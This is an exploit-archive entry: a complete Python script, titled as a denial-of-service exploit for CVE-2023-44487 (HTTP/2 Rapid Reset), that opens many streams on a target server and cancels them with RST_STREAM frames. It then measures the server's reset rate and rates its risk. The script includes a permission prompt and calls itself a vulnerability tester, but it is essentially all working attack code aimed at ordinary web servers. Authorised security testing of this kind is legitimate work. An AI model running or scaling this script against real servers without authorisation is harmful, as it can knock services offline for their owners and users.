HTTP/2 2.0 – Denial Of Service (DOS)
#!/usr/bin/env python3 """ # Exploit Title: HTTP/2 2.0 - Denial Of Service (DOS) # Google Dork: -NA- # Date: 29th August 2025 # Exploit Author: Madhusudhan Rajappa # Vendor Homepage: -NA- # Software Link: -NA- # Version: HTTP/2.0 # Tested on: -NA- # CVE : CVE-2023-44487 """ import asyncio import ssl import time import argparse import logging from typing import Optional, Tuple import statistics try: import h2.connection import h2.events import h2.exceptions import h2.config except ImportError: print("Error: h2 library not installed. Install with: pip install h2") exit(1) # Configure logging logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s' ) logger = logging.getLogger(__name__) class HTTP2RapidResetTester: """Class to test for CVE-2023-44487 HTTP/2 Rapid Reset vulnerability.""" def __init__(self, host: str, port: int = 443, use_ssl: bool = True): self.host = host self.port = port self.use_ssl = use_ssl self.connection = None self.reader = None self.writer = None self.response_times = [] self.errors = [] self.connection_closed = False async def connect(self) -> bool: """Establish HTTP/2 connection to the target server.""" try: logger.info(f"Connecting to {self.host}:{self.port}") if self.use_ssl: ssl_context = ssl.create_default_context() ssl_context.set_alpn_protocols(['h2']) self.reader, self.writer = await asyncio.open_connection( self.host, self.port, ssl=ssl_context ) else: self.reader, self.writer = await asyncio.open_connection(self.host, self.port) # Initialize HTTP/2 connection config = h2.config.H2Configuration(client_side=True) self.connection = h2.connection.H2Connection(config=config) self.connection.initiate_connection() # Send connection preface await self._send_data(self.connection.data_to_send()) logger.info("HTTP/2 connection established successfully") self.connection_closed = False return True except Exception as e: logger.error(f"Failed to establish connection: {e}") return False async def _send_data(self, data: bytes): """Send data to the server.""" if data and self.writer and not self.connection_closed: try: self.writer.write(data) await self.writer.drain() except (ConnectionResetError, BrokenPipeError, OSError) as e: logger.debug(f"Connection error while sending data: {e}") self.connection_closed = True async def _receive_data(self) -> bytes: """Receive data from the server.""" try: if self.connection_closed or not self.reader: return b'' data = await asyncio.wait_for(self.reader.read(65535), timeout=5.0) if not data: self.connection_closed = True return data except asyncio.TimeoutError: return b'' except (ConnectionResetError, BrokenPipeError, OSError) as e: logger.debug(f"Connection error while receiving data: {e}") self.connection_closed = True return b'' async def rapid_reset_test(self, num_streams: int = 100, delay: float = 0.001) -> dict: """ Perform the rapid reset attack test. Args: num_streams: Number of streams to create and reset delay: Delay between stream creations (seconds) Returns: Dictionary with test results """ logger.info(f"Starting rapid reset test with {num_streams} streams") start_time = time.time() created_streams = [] reset_streams = [] try: # Phase 1: Rapidly create streams for i in range(num_streams): if self.connection_closed: logger.warning("Connection closed during stream creation") break stream_id = (i * 2) + 1 # Odd numbers for client-initiated streams # Create HTTP/2 headers headers = [ (':method', 'GET'), (':path', '/'), (':scheme', 'https' if self.use_ssl else 'http'), (':authority', self.host), ('user-agent', 'CVE-2023-44487-Tester/1.0'), ] try: # Send headers to create stream self.connection.send_headers(stream_id, headers) await self._send_data(self.connection.data_to_send()) created_streams.append(stream_id) # Small delay to avoid overwhelming the connection if delay > 0: await asyncio.sleep(delay) except Exception as e: self.errors.append(f"Error creating stream {stream_id}: {e}") if "connection" in str(e).lower(): break logger.info(f"Created {len(created_streams)} streams") # Phase 2: Rapidly reset all streams reset_start = time.time() for stream_id in created_streams: if self.connection_closed: logger.warning("Connection closed during stream reset") break try: # Send RST_STREAM frame to cancel the request self.connection.reset_stream(stream_id, error_code=0x8) # CANCEL error code await self._send_data(self.connection.data_to_send()) reset_streams.append(stream_id) if delay > 0: await asyncio.sleep(delay / 10) # Faster resets except h2.exceptions.StreamClosedError: # Stream already closed, continue pass except Exception as e: self.errors.append(f"Error resetting stream {stream_id}: {e}") if "connection" in str(e).lower(): break reset_duration = time.time() - reset_start total_duration = time.time() - start_time logger.info(f"Reset {len(reset_streams)} streams in {reset_duration:.3f}s") # Phase 3: Monitor server response await self._monitor_server_response(timeout=10.0) return { 'streams_created': len(created_streams), 'streams_reset': len(reset_streams), 'total_duration': total_duration, 'reset_duration': reset_duration, 'reset_rate': len(reset_streams) / reset_duration if reset_duration > 0 else 0, 'errors': len(self.errors), 'response_times': self.response_times.copy(), 'avg_response_time': statistics.mean(self.response_times) if self.response_times else 0, 'connection_closed': self.connection_closed } except Exception as e: logger.error(f"Error during rapid reset test: {e}") return {'error': str(e)} async def _monitor_server_response(self, timeout: float = 10.0): """Monitor server responses and measure response times.""" logger.info("Monitoring server responses...") end_time = time.time() + timeout while time.time() < end_time and not self.connection_closed: try: start = time.time() data = await self._receive_data() response_time = time.time() - start if data: self.response_times.append(response_time) try: # Process HTTP/2 events events = self.connection.receive_data(data) for event in events: if isinstance(event, h2.events.ResponseReceived): logger.debug(f"Response received on stream {event.stream_id}") elif isinstance(event, h2.events.StreamReset): logger.debug(f"Stream {event.stream_id} reset by server") elif isinstance(event, h2.events.ConnectionTerminated): logger.warning("Server terminated connection") self.connection_closed = True return except Exception as e: logger.debug(f"Error processing HTTP/2 events: {e}") await asyncio.sleep(0.1) except Exception as e: self.errors.append(f"Error monitoring response: {e}") break async def baseline_test(self, num_requests: int = 10) -> dict: """Perform baseline test with normal HTTP/2 requests.""" logger.info(f"Performing baseline test with {num_requests} normal requests") start_time = time.time() successful_requests = 0 for i in range(num_requests): if self.connection_closed: logger.warning("Connection closed during baseline test") break stream_id = (i * 2) + 1 headers = [ (':method', 'GET'), (':path', '/'), (':scheme', 'https' if self.use_ssl else 'http'), (':authority', self.host), ('user-agent', 'CVE-2023-44487-Baseline/1.0'), ] try: request_start = time.time() self.connection.send_headers(stream_id, headers) self.connection.end_stream(stream_id) await self._send_data(self.connection.data_to_send()) # Wait for response try: data = await asyncio.wait_for(self._receive_data(), timeout=5.0) if data: self.response_times.append(time.time() - request_start) successful_requests += 1 except asyncio.TimeoutError: logger.warning(f"Timeout waiting for response to request {i+1}") await asyncio.sleep(0.1) # Small delay between requests except Exception as e: logger.warning(f"Error in baseline request {i+1}: {e}") if "connection" in str(e).lower(): break total_duration = time.time() - start_time return { 'total_requests': num_requests, 'successful_requests': successful_requests, 'total_duration': total_duration, 'avg_response_time': statistics.mean(self.response_times) if self.response_times else 0, 'success_rate': successful_requests / num_requests if num_requests > 0 else 0 } async def close(self): """Close the connection gracefully.""" if self.writer and not self.connection_closed: try: # Try to close the connection gracefully if self.connection: try: # Send GOAWAY frame if possible self.connection.close_connection() await self._send_data(self.connection.data_to_send()) except Exception as e: logger.debug(f"Error sending GOAWAY frame: {e}") # Close the writer self.writer.close() # Wait for close with timeout to avoid hanging try: await asyncio.wait_for(self.writer.wait_closed(), timeout=2.0) except asyncio.TimeoutError: logger.debug("Timeout waiting for connection to close") except (ConnectionResetError, BrokenPipeError, OSError): # Connection already closed by peer, this is expected pass except Exception as e: logger.debug(f"Error during connection cleanup: {e}") finally: self.connection_closed = True async def main(): parser = argparse.ArgumentParser( description='CVE-2023-44487 HTTP/2 Rapid Reset Vulnerability Tester', epilog='WARNING: Only use on systems you own or have permission to test!' ) parser.add_argument('host', help='Target hostname') parser.add_argument('-p', '--port', type=int, default=443, help='Target port (default: 443)') parser.add_argument('--no-ssl', action='store_true', help='Disable SSL/TLS') parser.add_argument('-s', '--streams', type=int, default=100, help='Number of streams for rapid reset test (default: 100)') parser.add_argument('-d', '--delay', type=float, default=0.001, help='Delay between stream operations (default: 0.001s)') parser.add_argument('--baseline-only', action='store_true', help='Only perform baseline test') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') args = parser.parse_args() if args.verbose: logging.getLogger().setLevel(logging.DEBUG) print("=" * 60) print("CVE-2023-44487 HTTP/2 Rapid Reset Vulnerability Tester") print("=" * 60) print(f"Target: {args.host}:{args.port}") print(f"SSL: {'Enabled' if not args.no_ssl else 'Disabled'}") print() # Legal disclaimer print("LEGAL DISCLAIMER:") print("This tool is for authorized security testing only.") print("Ensure you have permission to test the target system.") print("Unauthorized use may be illegal.") print() response = input("Do you have permission to test this system? (yes/no): ") if response.lower() != 'yes': print("Exiting. Only use this tool on systems you're authorized to test.") return tester = HTTP2RapidResetTester(args.host, args.port, not args.no_ssl) try: # Connect to target if not await tester.connect(): logger.error("Failed to establish connection. Exiting.") return # Perform baseline test print("\n" + "="*40) print("BASELINE TEST") print("="*40) baseline_results = await tester.baseline_test() print(f"Baseline Results:") print(f" Total Requests: {baseline_results['total_requests']}") print(f" Successful: {baseline_results['successful_requests']}") print(f" Success Rate: {baseline_results['success_rate']:.2%}") print(f" Avg Response Time: {baseline_results['avg_response_time']:.3f}s") print(f" Total Duration: {baseline_results['total_duration']:.3f}s") if not args.baseline_only: # Reset connection for rapid reset test await tester.close() tester = HTTP2RapidResetTester(args.host, args.port, not args.no_ssl) if not await tester.connect(): logger.error("Failed to re-establish connection for rapid reset test.") return # Perform rapid reset test print("\n" + "="*40) print("RAPID RESET TEST (CVE-2023-44487)") print("="*40) print(f"Testing with {args.streams} streams...") rapid_results = await tester.rapid_reset_test(args.streams, args.delay) if 'error' in rapid_results: print(f"Test failed: {rapid_results['error']}") else: print(f"Rapid Reset Results:") print(f" Streams Created: {rapid_results['streams_created']}") print(f" Streams Reset: {rapid_results['streams_reset']}") print(f" Reset Rate: {rapid_results['reset_rate']:.1f} resets/second") print(f" Total Duration: {rapid_results['total_duration']:.3f}s") print(f" Reset Duration: {rapid_results['reset_duration']:.3f}s") print(f" Errors: {rapid_results['errors']}") print(f" Avg Response Time: {rapid_results['avg_response_time']:.3f}s") if rapid_results.get('connection_closed'): print(f" Connection Status: Server closed connection during test") # Analysis print("\n" + "="*40) print("VULNERABILITY ANALYSIS") print("="*40) if rapid_results.get('connection_closed'): print("Server closed connection during rapid reset test") print(" This could indicate protective measures or resource exhaustion.") if rapid_results['streams_reset'] < rapid_results['streams_created'] * 0.8: print("WARNING: Server may have rejected many reset requests") print(" This could indicate protective measures are in place.") if rapid_results['reset_rate'] > 1000: print("HIGH RISK: Server accepts very high reset rates") print(" This may indicate vulnerability to CVE-2023-44487") elif rapid_results['reset_rate'] > 100: print("MEDIUM RISK: Server accepts moderate reset rates") print(" Further testing may be needed") else: print("LOWER RISK: Server has rate limiting on resets") print(" This suggests some protection against the vulnerability") if len(tester.errors) > rapid_results['streams_created'] * 0.1: print("Many errors occurred during testing") print(" Results may not be reliable") except KeyboardInterrupt: print("\nTest interrupted by user") except Exception as e: logger.error(f"Unexpected error: {e}") finally: try: await tester.close() except Exception as e: logger.debug(f"Error during final cleanup: {e}") print("\nTest completed.") if __name__ == "__main__": print("CVE-2023-44487 HTTP/2 Rapid Reset Vulnerability Tester") print("Requires: pip install h2") print() try: asyncio.run(main()) except KeyboardInterrupt: print("\nExiting...") except Exception as e: logger.error(f"Fatal error: {e}") |